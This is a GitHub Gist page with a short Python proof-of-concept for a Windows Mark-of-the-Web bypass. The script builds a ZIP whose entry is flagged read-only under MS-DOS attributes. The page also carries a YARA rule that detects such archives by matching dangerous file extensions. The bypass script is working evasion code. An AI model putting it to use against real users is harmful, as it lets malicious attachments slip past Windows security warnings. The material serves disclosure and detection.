-
-
Save rxwx/8b512ce1cb71d82415817b5b0b1243e9 to your computer and use it in GitHub Desktop.
Windows ZIP File MOTW bypass
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import zipfile | |
import datetime | |
import os | |
import sys | |
def datetime_to_tuple(dt): | |
return dt.timetuple()[0:6] | |
def build_zip(filename, outfile): | |
with open(filename, 'rb') as f: | |
inbuf = f.read() | |
with zipfile.ZipFile(outfile, 'w', zipfile.ZIP_DEFLATED) as zf: | |
date_time = datetime_to_tuple(datetime.datetime.now()) | |
zinfo = zipfile.ZipInfo(os.path.basename(filename), date_time=date_time) | |
zinfo.create_system = 1 | |
zinfo.external_attr = 33 | |
zf.writestr(zinfo, inbuf) | |
print ("Wrote zip file") | |
def add_motw(filename): | |
with open(filename + ':Zone.Identifier:$DATA', 'w') as f: | |
f.write('[ZoneTransfer]\nZoneId=3') | |
print ("Added MOTW for testing") | |
if __name__ == "__main__": | |
if len(sys.argv) != 3: | |
print (" Usage: motw.py <file to zip> <output zip>") | |
sys.exit(1) | |
build_zip(sys.argv[1], sys.argv[2]) | |
add_motw(sys.argv[2]) | |
print (f"Done! Written to: {sys.argv[2]}") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
rule zip_motw_bypass | |
{ | |
meta: | |
description = "Detect ZIP file with MOTW bypass" | |
author = "Rich Warren @buffaloverflow" | |
reference = "https://twitter.com/wdormann/status/1544416883419619333" | |
date = "2022-08-31" | |
strings: | |
$zipdir = { | |
50 4b 01 02 // Central directory PK header | |
?? ?? // Version made by (any value up to 511) | |
?? ?? // Version to extract (can be any value) | |
?? ?? // Flags - varies | |
(00|01|02|03|04|05|06|07|08|09|10|11|12|13|14|15|16|17|18|19|98) 00 // Compression type | |
?? ?? // File time | |
?? ?? // File date | |
?? ?? ?? ?? // CRC | |
?? ?? ?? ?? // Compressed size | |
?? ?? ?? ?? // Uncompressed size | |
?? ?? // File name length | |
?? ?? // Extra field length | |
?? ?? // Comment length | |
?? ?? // Disk number start | |
?? ?? // Internal attributes | |
} | |
$zipend = { 50 4b 05 06 } | |
// Dangerous file handlers | |
$ext_lnk = ".lnk" ascii nocase | |
$ext_msi = ".msi" ascii nocase | |
$ext_exe = ".exe" ascii nocase | |
$ext_scr = ".scr" ascii nocase | |
$ext_cpl = ".cpl" ascii nocase | |
$ext_chm = ".chm" ascii nocase | |
$ext_hta = ".hta" ascii nocase | |
$ext_js = ".js" ascii nocase | |
$ext_vbs = ".vbs" ascii nocase | |
$ext_wsf = ".wsf" ascii nocase | |
$ext_wsh = ".wsh" ascii nocase | |
$ext_vbe = ".vbe" ascii nocase | |
$ext_url = ".url" ascii nocase | |
$ext_bat = ".bat" ascii nocase | |
$ext_com = ".com" ascii nocase | |
$ext_cmd = ".cmd" ascii nocase | |
$ext_reg = ".reg" ascii nocase | |
$ext_diag = ".diag" ascii nocase | |
$ext_appref = ".appref" ascii nocase | |
$ext_vsto = ".vsto" ascii nocase | |
$ext_application = ".application" ascii nocase | |
$ext_jar = ".jar" ascii nocase | |
// Container formats | |
$ext_iso = ".iso" ascii nocase | |
$ext_vhd = ".vhd" ascii nocase | |
$ext_zip = ".zip" ascii nocase | |
// Office stuff | |
$ext_doc = ".doc" ascii nocase | |
$ext_xls = ".xls" ascii nocase | |
$ext_xla = ".xla" ascii nocase | |
$ext_xlm = ".xlm" ascii nocase | |
$ext_xlt = ".xlt" ascii nocase | |
$ext_xll = ".xll" ascii nocase | |
$ext_mht = ".mht" ascii nocase | |
$ext_xml = ".xml" ascii nocase | |
$ext_odt = ".odt" ascii nocase | |
$ext_odc = ".odc" ascii nocase | |
$ext_dot = ".dot" ascii nocase | |
$ext_pot = ".pot" ascii nocase | |
$ext_ppa = ".ppa" ascii nocase | |
$ext_pps = ".pps" ascii nocase | |
$ext_pub = ".pub" ascii nocase | |
$ext_vsd = ".vsd" ascii nocase | |
$ext_vss = ".vss" ascii nocase | |
$ext_wbk = ".wbk" ascii nocase | |
$ext_wiz = ".wiz" ascii nocase | |
$ext_rtf = ".rtf" ascii nocase | |
condition: | |
uint32be(0) == 0x504b0304 and $zipend and | |
for any i in (1..#zipdir) : | |
( | |
uint16(@zipdir[i] + 4) <= 511 and // version made by | |
uint32(@zipdir[i] + 0x26) & 1 and // external attributes: readonly | |
not uint32(@zipdir[i] + 0x26) & 16 and // skip directories | |
any of ($ext_*) in // does it contain a banned extension | |
// calculate the filename virtual address and length | |
(@zipdir[i] + 0x2e .. (@zipdir[i] + 0x2e) + uint16(@zipdir[i] + 0x1c)) | |
) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Note:
any of ($ext_*) in
requires YARA v4.2